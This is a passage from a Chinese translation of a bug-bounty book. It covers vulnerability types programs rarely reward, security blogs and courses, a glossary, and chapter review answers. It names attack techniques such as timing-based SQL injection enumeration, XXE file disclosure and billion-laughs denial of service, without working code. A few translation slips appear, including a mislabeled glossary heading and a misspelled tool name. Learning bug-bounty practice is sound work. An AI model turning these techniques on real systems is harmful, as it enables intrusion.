不要进行任何可能危害我们服务或数据可靠性/完整性的攻击。禁止进行 DDoS/垃圾邮件攻击。（这是他们特别强调的）

DoS/DDoS 攻击通常并不是受害者做了什么导致的——他们并没有错误地编码应用程序，也没有留下某些关键的网络漏洞。防御 DDoS 攻击需要一个完整的主动安全架构，将负载分配到不同的网络，并对恶意流量源进行限流/隔离。

例外情况是，当 DoS/DDoS 攻击因能够利用受害者网络上的安全漏洞而更有效时。如果作为安全研究人员，你发现例如一个不安全的 NTP 服务器可能被劫持来放大 DDoS 攻击，你应该报告这个漏洞，它可能被用来威胁你或其他旁观者的网络安全。

你不应该通过利用这些漏洞来增加机器人的流量，即使你认为它低于可能损害目标基础设施的门槛。DDoS 禁令如此普遍，表明漏洞奖励计划运营商对此的重视程度。

沙盒和自我 XSS——低威胁 XSS 变种

自我 XSS 是一种高度依赖社会工程学的 XSS 变种，这也是它被大多数漏洞奖励计划排除的主要原因。沙盒 XSS，一个相关变种的术语，通常用于描述发生在与敏感用户数据或操作隔离的机器上的 XSS 漏洞。由于自我 XSS 指的是在浏览器环境中执行代码使自己容易受到 XSS 攻击的现象，因此也意味着你的 XSS 漏洞在能够访问的信息方面是被隔离的。

为了使自我 XSS 攻击发生，攻击者必须让受害者在浏览器上下文中执行代码。正是这种执行使受害者容易受到攻击者的进一步利用。

一个简单的自我 XSS 实例是这样的：

攻击者宣传一个黑客工具包——H4x0rs l18e 1337！或者现在孩子们说的其他话。你只需复制这段代码并将其粘贴到浏览器的开发者控制台中。
你，美丽的天真，愉快地复制代码并将其粘贴到你的控制台中，幻想着你数字怒火的恐怖。
你粘贴到控制台中的代码并没有攻击别人，而是暴露了你自己给黑客。你浏览器中任何可用的敏感会话 Cookie 或信息现在都成了一个神秘网络极客组织的财产。

关于这个实际例子的说明，请查看“进一步阅读”部分中的链接，其中包含了一个类似的诈骗案例，该案件几年前在 Facebook 上传播：这篇文章（也）鼓励你按照指示来破解任何 Facebook 账户，（也）要求你复制并执行开发者控制台中的代码，（也）在你实际遵从后进行攻击。

因为这个特定的漏洞，像许多这些不能奖励的、几乎是漏洞的情况一样，需要应用外的行动（例如电话支持工作人员在社交工程影响下发起更改）或其他应用程序级的漏洞存在并准备好被利用，所以它超出了大多数计划的范围，不符合获得奖励的条件。

即使公司写了避免这些类型诈骗的指南，它们在预防措施方面也有局限性：如果房主决心要把钥匙交出去，房子也只有有限的安全措施可以采取。

非关键数据泄漏——公司不在乎的内容

在第八章《访问控制与通过模糊性保障安全》中，作为我们关于访问控制、安全性模糊性和数据泄漏讨论的一部分，我们简要介绍了公司不愿意为其奖励的不同类型数据：用户名、描述性但不敏感的错误信息、不同类型的错误代码等等。

这里有一些其他具体的例子，关于安全研究人员常常报告的信息，但公司很少为其支付奖励。

电子邮件

电子邮件是许多人尝试阻止爬虫和自动化代理访问的一项信息。一种典型的策略是将电子邮件链接编码为 HTML 实体，以使其更难被收集。这意味着你可以将一个电子邮件地址，比如nessus@generalproducts.biz，隐藏为以下实体代码：

nessus@generalproducts.biz

除非爬虫程序预期在抓取过程中检测并解码实体，否则这个小小的混淆技巧可能出奇有效。

但是，如果电子邮件暴露在公司网站上，通常是为了作为公共的联系方式。如果你提交关于support@company.com的漏洞报告，甚至因为你推测出了员工邮件命名规范是类似于lastname.firstname@company.com，这都不符合获得奖励的标准。

在披露变成漏洞之前，除了简单列举公司邮件用户名注册表外，还有太多额外的步骤。

HTTP 请求横幅

HTTP 横幅是协议的一个重要部分，它将整个网络连接在一起。在常见服务中，可能涉及许多不同类型的设备。它们可以包括编码数据、设备信息、HTTP 请求的基本信息以及其他数据。

这一切都是服务的一部分，并不构成敏感系统信息的泄露。这包括当前横幅中包含的信息以及“缺失”的安全横幅。

已知的公共文件

这很简单：有些文件就是设计为可访问的！报告 robots.txt、wp-uploads 或 sitemap.xml 的配置或可用性并不会获得奖励——甚至可能不会得到任何回应。

HttpOnly Cookie 标志是防止 XSS 攻击的工具。如果服务器端进程将 cookie 标记为 HttpOnly，它就不能在客户端访问（当浏览器尝试读取该 cookie 时，它将返回空字符串）。所有主流浏览器都支持 HttpOnly cookies。无论其值如何，它们都是一种保护措施，其缺失并不直接意味着存在漏洞。如果没有额外的 XSS 攻击，便不会产生问题。

其他常见的无奖励漏洞

除了我们已经讨论过的通常不符合支付条件的更大类别的漏洞，并且请记住，这些漏洞是附加在先前提交的漏洞上，这些漏洞在任何地方都不符合支付条件之外，还有很多一类的单独漏洞和杂项潜在漏洞，你应该避免提交。

弱或易被绕过的验证码

CAPTCHA（及其继任者 reCAPTCHA）是由 Google 管理的图灵测试，旨在通过要求机器人执行一些普通机器人无法完成的任务（例如复杂的自然语言检测、图像模式识别、在动态挑战中执行任务等）来阻止机器人的表单提交垃圾邮件。由于它们代表一个第三方服务，其安全性由外部公司管理，因此大多数托管 CAPTCHA 的公司不会奖励任何与 CAPTCHA 相关的漏洞或安全问题。

启用了 HTTP OPTIONS 方法

HTTP 支持多种请求方式，除了标准的 GET、PUT/PATCH、POST 和 DELETE 请求。OPTIONS 是一种诊断方法，能够启用调试和堆栈跟踪数据，这可能对攻击者有用。虽然它增加了你的攻击面，并且作为应用程序开发者应该避免启用，但启用 OPTIONS 本身并不是一个漏洞。像我们之前讨论过的其他潜在漏洞一样，它需要额外的步骤来证明有效的攻击场景。

BEAST（CVE-2011-3389）和其他基于 SSL 的攻击

浏览器对 SSL/TLS 的攻击（BEAST）假设攻击者具有相当程度的客户端控制，能够通过执行中间人攻击（MiTM）向浏览器的 TLS 流中注入数据包，从而使攻击者能够猜测初始化向量并解密其他信息。

正如安全产品公司 Acunetix 在其关于该攻击的博客文章中提到的：

值得注意的是，要让 BEAST 攻击成功，攻击者必须对受害者的浏览器有合理的控制权，在这种情况下，选择一个更简单的攻击途径的可能性更大。

这例证了我们常见的没有奖励的潜在漏洞主题：相关漏洞影响的是实际的 TLS/SSL 连接，这意味着它是底层技术的责任，而不仅仅是该技术的特定实现；它也是一个需要多个其他漏洞才能被利用的漏洞，这意味着如果它存在，它并不是我们最应该关注的问题。这两种动态作用于使其以及其他基于 SSL 的攻击无效，无法作为可报告的提交。

暴力破解认证系统

如果一个认证系统（GUI 表单、API 请求或任何其他实现或层）在多次登录失败后没有锁定用户，这使得系统容易受到暴力破解攻击，攻击者会尝试每一种可能的凭证组合，直到成功为止。在失败登录尝试超过一定次数后锁定用户是常见的安全最佳实践，但缺少这一功能并不意味着应用程序立即不安全。暴力破解所涉及的资源量及其产生的高噪音意味着，单靠暴力破解能力本身并不足以构成严重的攻击场景。此外，测试暴力破解攻击的有效性意味着进行暴力破解攻击，这可能对目标公司的基础设施和计算资源造成严重损害。

CSRF 注销

传统上被认为是一个安全非问题（而且许多漏洞赏金计划至今仍未给予奖励），跨站请求强制注销用户的能力正在被像 Detectify Labs 这样的组织重新评估为潜在的安全威胁，这些组织发布了几种不同的攻击场景，概述了何时注销功能容易受到 CSRF 攻击时会成为问题（请查看 进一步阅读 部分中的链接）。尽管这个漏洞不断被重新评估，但它通常仍然需要几个额外的步骤才能成为一个真正的漏洞，并且具备可信的攻击场景，因此并不是漏洞赏金计划的优先事项。

匿名表单 CSRF

另一个常见的与 CSRF 相关的漏洞是匿名表单（例如，联系我们表单），它容易受到 CSRF 攻击。如果一个匿名表单容易受到 CSRF 攻击，意味着攻击者可以欺骗受害者提交带有不同或修改字段的表单。

以联系表单为例，这个漏洞不值得支付奖励，因为我们无法从中推导出任何相关的攻击场景。即使我们使用不同的电子邮件地址或信息提交表单，也不清楚会造成什么损害。对于更为关键的表单（例如填写支付信息、修改账户设置或身份验证方式），我们可以想出一些令人毛骨悚然的场景，但如果一个表单是匿名的，通常意味着它预期会接收到大量垃圾邮件，因此与重要功能隔离开来。

这个例子强调了我们在本书中反复提到的一个普遍观点：模拟关键攻击场景对于确保你的提交能获得奖励至关重要。

点击劫持和点击劫持启用攻击

Clickjacking（点击劫持）是指攻击者将恶意链接隐藏在一个透明或被遮掩的链接下，使得用户被诱导点击这个黑帽网址。

点击劫持被排除在奖励计划之外，因为它要求公司自身使用黑暗模式（恶意的用户体验/用户界面技巧），诱使用户在他们控制的平台上点击有害链接。既然任何公司实际上在做这件事时肯定不会宣传它，那么奖励计划也不会支付那种只能通过用户在自己机器上修改代码才可能存在的漏洞。这就是为什么点击劫持（以及只能通过点击劫持发生的漏洞）不会获得奖励的原因。

物理测试发现

有时，寻求严格安全审计的公司会走得更远，不仅仅是雇佣一个团队来测试网站或探测网络——他们还会为研究人员支付费用，测试控制其数据中心访问的物理安全外围。这种类型的测试在那些有强大访问控制合规政策的行业中最为常见——例如，PCI 合规性要求你采取一定的物理安全措施（例如，访问场所需要身份证，限制对实际服务器机箱的访问等），以保护你的基础设施。

任何接近物理测试的内容都超出了本书关注的工作范围。如果你发现了一个漏洞，要求你偷偷溜进公司休息室，弄乱某人的解锁笔记本电脑，那并不是一个漏洞。这样的活动完全超出了范围，且可能触及法律责任。

过时的浏览器

当你发现一个依赖过时浏览器作为攻击载体的漏洞，尤其是对于一个相当古老的安装（例如早于 IE 8 的版本），让公司通过支付奖励来补偿这个漏洞是不合理的——毕竟，过时的浏览器没有接收安全更新（以及公司可能想要应用的任何修复）。即使这个问题可以通过服务器端修补，也没有必要为适用的生命周期结束政策开辟例外。

服务器信息

尽管它是任何合作中的发现阶段中有价值的一部分，但发现服务器类型或托管服务并不是一个漏洞。混淆技术虽然不错，但多余，而且基本的公共服务器数据本身并不能说明一个有足够价值的攻击链值得奖励。

限速

限速可能会让你感到意外，它必须明确排除在程序的范围外漏洞中，但显然限速（通过选择性地限制请求来保护你的服务器免受攻击）是一项特性，而非漏洞。

总结

本章已经涵盖了不同类型的安全漏洞，这些漏洞通常不足以构成有利可图的漏洞，包括 DoS/DDoS 攻击、自我 XSS（Self-XSS）以及其他类型的攻击，还有一些常见的被扫描器和渗透测试工具报告的内容，但这些内容不一定引起漏洞悬赏计划运营者的兴趣。除了各种杂项的范围外漏洞和分析这些漏洞共同特征的内容（它们需要其他漏洞的配合，它们的影响范围有限，它们需要社会工程学或对第三方服务的攻击，等等），你应该已经理解了不仅是哪些漏洞不会得到奖励，为什么它们没有价值。接下来，你可以调整自己的工作流程，减少报告中的噪声，并建立一个能减少浪费时间的死胡同，专注于真正有价值漏洞的渗透测试方法。

问题

为什么 DoS/DDoS 攻击通常超出范围？在什么情况下，DoS/DDoS 相关的漏洞会得到奖励？
什么是 Self-XSS？为什么它通常不值得奖励？
启用 HTTP 的OPTIONS方法会带来什么潜在危害？
为什么 BEAST 和其他 SSL 漏洞通常不符合漏洞悬赏计划的条件？
什么是点击劫持（clickjacking）？
什么是物理测试？
什么情况会使 CSRF 漏洞超出范围？
什么是黑暗模式（dark patterns）？
为什么与暴力破解相关的漏洞不会得到奖励？

进一步阅读

你可以在以下链接了解更多关于本章讨论的一些话题：

Facebook Self-XSS 骗局：www.tomsguide.com/us/facebook-self-xss,news-19224.html
GitHub DDoS 攻击：www.theregister.co.uk/2018/03/05/worlds_biggest_ddos_attack_record_broken_after_just_five_days/
TLS/SSL 漏洞攻击：www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/
Detectify 实验室关于 CSRF 登出：labs.detectify.com/2017/03/15/loginlogout-csrf-time-to-reconsider/
黑暗模式：darkpatterns.org/

第十三章：进一步探索

希望您发现本书中包含的资源有用。当您希望扩展您对信息安全、漏洞和公共赏金计划的兴趣时，有很多优秀的资源可以帮助您前进。

在本章中，我试图收集一些最好的社区网站、策划的博客、教育资源、漏洞报告档案，最后，一些由本书和其他书籍使用的一些重要（和晦涩）安全术语的词汇表。这一章应该是一个不错的参考，作为您深入独立、自由安全研究领域的跳板。

博客

博客，无论是公司撰写的还是个人的，都是了解来自一个知情来源的新资源和方法的好方法，你信任他们筛选你关心的新闻。我们在这里包括的博客更专注于渗透测试和赏金计划参与，而不是信息安全或网络安全。虽然有很多行业专家撰写的优秀博客，比如 Bruce Schneier 的Schneier on Security或 Brian Krebs 的Krebs on Security，可以依赖于对流行安全主题进行严格、技术信息丰富的文章，提供这类通用信息安全出口的全面账目超出了我们的范围。

SANS 研究所

自 1989 年以来提供围绕网络安全的培训和教育，SANS研究所（代表SysAdmin, Audit, Network, and Security）运营一个博客（pen-testing.sans.org/blog/），这可以是一个很好的资源，提供简短的教学文章和简单的参考资料。他们的一系列包含选定工具基本命令简要摘要的备忘单是你探索采用新东西时的第一个资源。

Bugcrowd

我们已经讨论过 Bugcrowd 作为安全研究人员的一个伟大社区和平台，但他们的博客也是其中的一部分价值。除了作为一个有用的联系点，了解有关 Bugcrowd 平台的新赏金计划、政策变更和产品提供之外，该公司还为安全社区做出贡献，组织倡议，例如漏洞评级分类法，以更好地标准化严重性分类，并委托编写白皮书、教程和其他数字资源。

暗网

Darknet（www.darknet.org.uk/）从 1999 年的 IRC 频道发展成今天一个成功的渗透测试博客，定期更新有关新漏洞、策略和软件的信息。Darknet 特别有用，因为它的文章经常包含您可以修改用于自己目的的代码片段和脚本。

HighOn.Coffee

HighOn.Coffee 博客（highon.coffee/）是渗透测试人员@Arr0way的个人项目。他的备忘单是一些最常见的 shell 命令、脚本和方法的绝佳参考，涵盖各种渗透测试和安全相关主题。与 Darknet 博客一样，HighOn.Coffee 包含可用于自己的渗透测试工作流程的代码，使其成为一个值得关注的资源。

零日博客

零日博客（www.zdnet.com/blog/security/）并不像我们的其他资源那样充满了详细步骤和技术分析，但它是一个更具话题性的安全新闻来源。

SANS 应用安全博客

另一个 SANS 旗下的 AppSec 博客与 Frank Kim（software-security.sans.org/blog）是另一个为专注的渗透测试人员提供实用建议的源泉。Kim 每年进行一系列有趣的调查和其他年度项目，这些项目是分析过去几年安全领域突出主题演变的有趣比较点。

课程

与常见的在线学习目的地（如 Udemy）和著名的安全认证（如攻击性安全的攻击性安全认证专业人员（OSCP））相关联的几门优秀课程。它们在多个方面有所不同，包括所需背景、长度、范围和价格。综合起来，它们代表了一系列安全培训选择和理念的万花筒。

使用 Kali Linux 的渗透测试

OSCP 使用 Kali Linux 进行渗透测试课程（www.offensive-security.com/information-security-training/penetration-testing-training-kali-linux/）是 OSCP 认证的必修课程，并附带 30 天的认证考试 VPN 访问权限。OSCP 备受尊重，因为它强调实践实验室，在那里，考生不是回答多项选择题，而是必须登录到 OSCP 网络，并在规定的 24 小时测试期内发现几个漏洞。虽然你可能想逐步提升到 OSCP 考试（而且可能会很昂贵），但如果你有兴趣从事安全领域的职业，这是一个很好的目标。

信息安全研究所的课程

信息安全研究所（www.infosecinstitute.com/）提供多门在线课程和集训营，旨在为学生准备诸如认证的道德黑客（CEH）和认证的渗透测试员（CPT）等认证考试。他们的为期 10 天的集训营非常密集，但也有点昂贵。

Udemy 渗透测试课程

Udemy (www.udemy.com/topic/penetration-testing/) 是我们为个人独立研究人员推荐的最具性价比的选项。通过针对特定编程语言（在 Python 中创建自己的黑客工具）或工具（从零开始学习使用 Android 进行黑客攻击）的课程，您可以根据自己的技能提升方向选择不同的课程选项。

术语

安全领域充斥着大量术语。独立研究员、黑帽黑客、公司红队和军事机构都有自己的文化、行话和首选技术术语。我们将尽可能定义尽可能多的基础术语，以便您在遇到不熟悉的术语或用法时可以作为清晰的参考。请记住，本词典仅针对与安全相关的术语，而不包括一般的 Web 或软件开发行话，除非它们与安全问题直接相关。

攻击场景

攻击场景是一个详细的、技术上有效的假设情境，描述了如果一个漏洞未被修补并被恶意代理利用，可能造成的损害。编写有说服力的攻击场景是确保您因漏洞获得奖励的关键部分。

攻击面

应用程序的攻击面是指所有数据被输入或输出到应用程序的所有点的总和。攻击面中的每一部分都是黑客攻破应用程序的一次机会。应用程序的攻击面越大，您需要做的安全工作就越多，而且难度也越大。保持攻击面仅限于必要的最小范围，是加强安全态势的一个有效方法。

黑盒测试

在黑盒测试场景中，审计研究员无法访问基础源代码、架构文档、内部维基或任何其他内部开发团队可以访问的信息。本书中的所有场景和建议都假设是基于黑盒框架的。

漏洞

“漏洞”一词与“bug”同义。需要特别注意的是，这里的“bug”并不包括功能性用户体验/界面上的错误（例如，一个模态窗口在你填完表单之前就自动打开和关闭，一个 CSS 伪影让你无法查看解释工具提示，文本颜色过浅无法读取，等等）。我们这里只是指安全/渗透测试社区中所称的“bug”。

漏洞赏金计划

本书聚焦于那些通过奖励研究人员为公司或参与该计划的公司提供有效漏洞发现的公开或近公开程序。有时候，奖励的形式包括游戏化的积分系统（如 Bugcrowd 的 kudos）、赠品、认可（通常是在荣誉墙上展示）或金钱，或者这些奖励的组合。近公开的概念指的是那些私有奖励计划，邀请研究人员测试应用程序是基于其过去的表现、发现的漏洞的平均严重性以及其他职业统计数据。此定义的漏洞奖励计划不包括那些个体或团队渗透测试人员签署独家合同提供服务的情况。在这种情况下，我们讨论的许多技术仍然适用，但报告的格式和性质会有所不同。

CORS

跨源资源共享（CORS）是一种方法，它允许具有不同来源（IP 地址、端口等）的服务之间共享资源。CORS 在我们讨论第四章《未清理数据——XSS 案例研究》时会出现，在这部分内容中我们讨论了单一来源策略。

数据外泄

数据外泄是指未经授权地将数据从应用程序或网络转移或复制。它可以是任何形式的数据，从支付信息到敏感的知识产权，简洁地描述了一种特定类型的信息盗窃。

数据清理

数据清理涉及去除数据中可能导致用户输入作为代码意外执行的特殊字符或保留字。这一做法是防止注入类攻击（包括 XSS、SQLi、NoSQLi 及其他各种注入攻击）的核心组成部分。

数据泄漏

数据泄漏与数据外泄不同，数据泄漏意味着不当配置的服务或其他系统意外暴露了敏感数据。这个含义更多来自于术语的含糊，而非任何正式定义，但它在描述像是公开的日志服务器这种情况时非常有用，日志中可能会意外显示认证凭证。在这种情况下，应用程序并未遭到黑客入侵，也未破解网络或数据库，但有人犯了一个错误，留下了这个资源开放，而这些数据可能为其他一轮攻击提供基础。

漏洞奖励计划

漏洞利用（Exploit）是用于攻击应用程序或其用户的恶意代码，它利用漏洞所暴露的缺陷，通过弱/损坏的认证、权限管理不当、不充分的数据控制或其他漏洞来进行恶意操作。像 Metasploit 这样的软件框架（我们在第十一章，其他工具 中讨论过）旨在帮助编写恶意利用代码。由于本书的重点是发现漏洞而非利用漏洞，漏洞利用主要出现在编写一个可信且普遍令人恐惧的攻击场景时，作为提交报告的一部分。

指纹识别

指纹识别是收集系统信息的过程，通过这些信息可以识别目标应用程序环境的操作系统和硬件规格等数据，这些数据有助于优化你的攻击策略。检测托管服务、服务器操作系统类型（如果是后端）、版本、应用程序语言与框架、任何包含的第三方库以及公开可见的 API 集成，都是发现过程中的重要组成部分。

Fuzzing

Fuzzing 是通过高速、重复的试错过程，向应用程序投递不同的信息组合，以尝试揭示其弱点。Fuzzing 工具通常会接收一个模式或字典类型的 fuzzing 输入，从而构建一系列将提交给目标应用程序的攻击字符串。

Google Dorks

Google Dorks 是可以用来返回可能存在某些漏洞的站点的搜索查询（具体取决于查询的内容）。我们在讨论 SQL 注入的章节中，会更详细地介绍 Google Dorks。

已知组件漏洞

已知组件漏洞是指已被发现并报告的漏洞，通常会带有一个 CVE ID，可以将其纳入扫描数据库和工具中，用于以一致且可重现的方式发现该漏洞的实例。我们在第九章，框架和应用程序特定的漏洞 中讨论了组件漏洞。

OSINT

开源情报（OSINT）是指从公共记录中收集目标信息的实践（如域名注册记录、官方文件、社交网络个人资料、参与公共论坛或其他数字空间的活动等），这些信息可用于辅助其他情报收集活动，如破解密码或进行有针对性的社会工程攻击（如鱼叉式钓鱼、鲸鱼攻击等）。

被动扫描与主动扫描

被动扫描分析 Web 应用程序内的数据流。它们要少得多嘈杂，对提供应用程序维护者信息的日志和相关指标几乎没有影响。相比之下，主动扫描涉及将数据发送到应用程序，然后分析响应。通常禁止主动扫描，因为它可能对网络造成损害，并可能降低应用程序性能。

负载

在一般软件开发中，负载本质上是一个动作的消息——动作包含的语义内容，超出了其元数据、标头和其他系统信息。在网络安全上下文中，负载类似于被武器化的恶意代码片段值，它逃避了清洗措施并实际执行攻击。

概念验证（PoC）

漏洞的 PoC 是一个代码片段或一系列指令，用于证明所讨论的安全问题存在。PoC 应尽可能简单，以展示触发利用所需的最低条件。我们在第六章中讨论了 CSRF 的 PoC，CSRF 和不安全的会话认证。

规则（RoE）

漏洞赏金计划的规则（也称为披露指南或行为准则）描述了公司希望测试的最有价值的漏洞、允许/禁止的测试方法和工具、研究范围以及超出范围的漏洞。规则是您开始任何渗透测试项目的最重要参考文档，因为它塑造了您后续调查的方向。

红队

公司的红队是负责模仿外部攻击者的攻击和行为、探查公司网络防御并通过反复的攻击分析和尝试入侵暴露弱点的内部安全团队。

远程代码执行（RCE）

RCE 是一个让任何人都感到恐惧的三个字母缩写。远程代码执行就是字面意思。它通过网络（例如互联网）触发在远程计算机上执行任意代码片段。允许 RCE 的漏洞是一个非常关键的问题，将确保您获得丰厚的报酬。拥有这种对服务的访问权限所带来的可能性是巨大的：将计算机添加到僵尸网络、外泄数据、通过加密货币挖矿耗尽受害者的资源。考虑到图灵完备语言的无限可能性，一个富有想象力的攻击者可以造成令人印象深刻的破坏。

安全港

一些漏洞赏金计划还会宣传安全港条款。这本质上是公司向您保证作为研究人员的承诺，并保证您遵循他们在规则中制定的测试准则而免受法律诉讼。

范围

参与范围指的是目标应用程序中可以进行分析的区域（由 IP 地址、主机名和功能定义），以及不允许的测试行为类型（例如，不允许主动扫描、不干扰或修改其他用户的数据等）。遵守范围至关重要，既是对项目操作人员的尊重，也能最小化你可能因触及超出范围的系统而承担的责任。

安全态势

一个组织安全态势的标准定义来自美国国家标准与技术研究院：企业网络、信息和系统的安全状态，基于信息安全资源（例如人员、硬件、软件、政策）以及用于管理企业防御和应对局势变化的能力。

单一来源策略

单一来源策略是浏览器采用的 CORS 系统的一部分，规定并限制来自不同来源（主机名、端口等）的脚本访问彼此数据的能力。单一来源/CORS 机制旨在阻止一个应用程序暴露敏感信息或对另一个站点执行状态更改操作。

提交报告

你的提交报告涉及到你认为自己发现的漏洞相关文档。

漏洞

漏洞是应用程序中的缺陷，允许攻击者妥协应用程序、其用户群或其网络。漏洞（这个术语通常与 bug 同义使用）本身不是攻击，而是防护漏洞，攻击代码（即实际的恶意代码部分）通过它进入。

白盒测试

白盒测试是指在有访问应用程序源代码的参与中，审计应用程序的安全漏洞。虽然我们在各个部分讨论了探索应用程序公开可用的客户端代码，在我们的第十一章《其他工具》中，我们讨论了白盒工具，如 Pytaint，帮助你了解安全态势，但绝大多数漏洞赏金猎人的工作将是黑盒测试。

工作流

工作流是本书中用来指代进行全面安全审计过程中既包括正式流程也包括非正式流程的一个统称。正式流程的例子可能是你想确保在任何应用程序中检查的不同类型漏洞的列表，或只是一个关于你参与各阶段的概述，从发现到结束和报告。非正式流程的例子则可能是你用来决定是否在特定情况下应用某个工具的内部启发式方法。

零日

在安全领域中，一个常见且重要的术语是零日漏洞，它指的是一个之前未被发现的漏洞。

总结

希望本章内容能在第十一章、其他工具及本书其余部分的基础上，帮助你不仅理解可以探索并融入工作流的技术，还能获得学习资源、社区和其他重要安全内容的中心，这些都有助于你作为安全研究员和程序员的成长。

问题

有哪些好的渗透测试和安全相关的博客？
公共漏洞悬赏计划使用什么类型的测试方法：黑盒测试还是白盒测试？
一个允许远程代码执行（RCE）的漏洞代表了什么危害？
什么是安全港？
CORS 代表什么？它的目的是什么？
安全态势（security posture）是什么意思？
对应用进行指纹识别的实践有什么作用？
OSCP 代表什么？

进一步阅读

你可以在以下链接中了解更多我们在本章中讨论的一些主题：

Schneier on Security: www.schneier.com/
Krebs on Security: krebsonsecurity.com/

第十四章：评估

第一章

越来越多的公司通过众包方式进行安全审计——既能降低内部成本，又能从更多样化的研究人员、策略和技术中受益。
参与漏洞奖励计划为你提供了与真实生产目标对抗的宝贵实践安全经验，也能为你带来金钱回报。
你需要一些基本的网页技术技能，但同样也需要一种好奇心和调查欲望，去打破现有的规则。
一些工具，例如 Burp Suite，是集成多种功能（代理、扫描、映射）的“工作马”，以实现最大效果，而一些工具则针对更具体的目标（例如sqpmap用于 SQL 注入发现，wfuzz用于暴力破解文件发现等），以及我们为添加额外功能或整合工作流而编写的单一用途、一次性脚本。
添加document.location.origin可以确保我们针对的是一个范围内的域名。这个信息也为我们提供了有价值的见解，帮助开发人员修复漏洞。
考虑漏洞的影响对于编写引人注目的攻击场景至关重要。编写代码以实际危害应用程序、用户或第三方服务是绝对不允许的，即使是为了证明漏洞的存在。
《电脑欺诈与滥用法案》作为早期计算机欺诈法案的延伸，规范了国内的网络安全法律。这项法案的通过，部分得益于 1983 年由马修·布罗德里克主演的电影《战争游戏》的警示效果，众议院委员会关于这部法律的报告将其描述为“对个人计算机的自动拨号和访问功能的现实表现。”

第二章

像 Bugcrowd 和 HackerOne 这样的公司将为其项目的参与者提供标准化的提交模板、披露指南和支付系统，而单个公司的程序则必须逐个评估并遵守。
是的！除了提供宝贵的经验外，它还可以为你打开通向私人计划的大门，提供更好的测试机会。
我们使用这个术语来指代像 Bugcrowd 这样的平台上的私人漏洞奖励计划，这些计划仅向符合特定标准的预选筛选研究人员发出邀请。
你可以在其他工具和进一步深入部分找到更多资源。
一个老旧的网站，提供更多用户输入的机会，使用的软件没有定期更新，且由一个小型组织维护，往往比一个拥有更小攻击面和内部安全团队的大公司更难确保其攻击面安全。
协调漏洞披露是通过第三方向公司披露漏洞的一个过程和一套标准。
紧密遵循互动规则是至关重要的！使用工具来确保你的自动化部分保持在范围内。

第三章

wfuzz配合全面的字典列表，是一个强大的暴力破解映射工具——它非常有效，但应该仅在暴力破解合适的情况下使用。
网站地图是一个简单、免费的基本侦查快捷方式。如果没有网站地图，可以使用 Burp Spider 来映射目标应用。
如果你正在寻找一个低影响的替代方法来映射攻击面，你可以通过连接到 Burp Proxy 的浏览器导航目标应用，Burp 会自动构建一个网站地图。
Scrapy 是一个很棒的、可扩展的站点抓取解决方案。
编写简短、单一功能的脚本可以让你混合和匹配不同的功能，而文本的共同基础确保了互操作性。
SecLists 是一个出色的精心整理的恶意输入资源。
Striker 是一个 Python 扫描器，特别有用的是它具备 DNS 收集能力。

第四章

存储型/持久型 XSS、反射型 XSS 和 DOM 型 XSS 是三种常见的 XSS 类型。
持久型 XSS 特别危险，因为存储在服务器中的恶意代码可以被推送给大量用户。
在 XSS 发现中存在很多误报，XSS 验证器帮助在噪音中提升信号。
XSS 验证器phantomjs服务器监听可能的漏洞并对其进行验证检查。
在 Burp Intruder 的 Payloads 选项卡中使用有效负载位置功能。
所有通常的上下文数据都很重要（如 URL 位置、输入等），但有效负载是最为关键的。
XSS 漏洞可能允许攻击者窃取管理员账户凭证，并对特定服务和组织执行超级用户权限的操作。
包括攻击场景可以说服接收报告的团队，认为他们应投入必要的资源来修复漏洞（并触发你的奖励）。

第五章

Blind SQLi 是 SQL 注入的一种，其中结果不可见；基于错误的 SQLi 通过精心设计的 SQL 错误暴露敏感信息，而基于时间的 SQLi 则通过响应延迟来揭示信息。
激进的 SQLi 注入可能会破坏数据库或应用程序。
Google Dorks 是旨在揭示潜在易受攻击站点的搜索查询。这个词来源于那个不小心让敏感文档被公共搜索引擎索引的倒霉员工。
--timeout、checks、--scope-include-subdomains、--http-request-concurrency MAX_CONCURRENCY 和 --plugin 'PLUGIN:OPTION=VALUE,OPTION2=VALUE2' 都是arachni命令行接口（CLI）的有用配置标志。
你可以使用arachni_reporter CLI 从.afr文件生成报告：

 arachni_reporter some_report.afr --reporter=html:outfile=my_report.html.zip

MongoDB 中的$where子句特别容易受到注入攻击。
如果你能在 Web 应用程序中诱发某种明显的行为（例如长时间延迟），你可以将其与比较逻辑结合起来，枚举敏感信息。

第六章

CSRF 代表跨站请求伪造，是指攻击者利用已登录用户的认证状态来执行恶意应用请求，并以有害方式更改用户的应用。
拥有 CSRF 漏洞的攻击者可以诱使用户在不情愿的情况下更改应用状态，或者以他们未打算的方式更改（例如，将资金转到另一个银行账户）。
CSRF 漏洞证明（PoC）仅包含重现表单 HTTP 请求所需的基本标记。
如果你能在浏览器中打开一个 CSRF PoC 并成功提交，那就验证了这个漏洞。
使用 BeautifulSoup 生成 HTML 可以让你避免繁琐的字符串操作（例如，拆分和插入嵌套标签）。
我们在 E2E 示例中使用了基于 CSRF POST 的攻击。
一个恶意攻击者会使用更多隐藏字段，并允许其受害者控制更少的数据发送到服务器。

第七章

一个容易受到 XXE 攻击的 PHP XML 解析器配置错误的示例是没有将 libxml_disable_entity_loader 变量设置为 true 以防止实体扩展。
使用 Burp Proxy 的拦截功能是提交 XML 注入代码片段的关键。
XXE 漏洞可能允许攻击者暴露服务器上的敏感文件、使应用程序发生拒绝服务（DoS）攻击，或者有时获得远程代码执行（RCE）。
/dev/random 是一个特殊的系统位置，用作伪随机数生成器。
使用简单的实体替换测试 XXE 是验证 XXE 漏洞的轻量级方式。
“亿次笑声”攻击不仅仅是 XML 特有的，它是利用嵌套实体消耗指数级内存并使解析服务发生拒绝服务（DoS）攻击的手段。
即使某些服务明确使用 JSON 来传递数据，它们的底层服务器通常也能够使用不同的数据格式。有时，仅仅通过使用不同的 Content-Type 头部，就可以解锁这些格式。

第八章

通过模糊化实现的安全性是一种有效的方式来阻止机会性攻击，但它不能成为健全安全策略的基础。
API 密钥、访问令牌、密码以及账户和应用数据通常是用于漏洞奖励的内容。
Burp Proxy 包含设置，用于被动地发现隐藏字段——一个简单的黑客技巧。
API 密钥授予对 API 或服务的完全访问权限。访问令牌通常与更个性化或基于角色的身份验证系统相关联，尽管这并不是一个绝对的区分标准。
通用错误代码和描述、浏览器的“自动填充”功能以及通常不提供相关攻击场景的信息，通常不值得奖励。
绝对不能信任用户输入。
Web 应用程序是漏洞百出的，但错误消息、隐藏字段和客户端源代码是敏感信息潜藏的地方。

第九章

CVE 代表公共漏洞和暴露。它是一个系统，允许不同的工具和组织共享已知漏洞的数据。
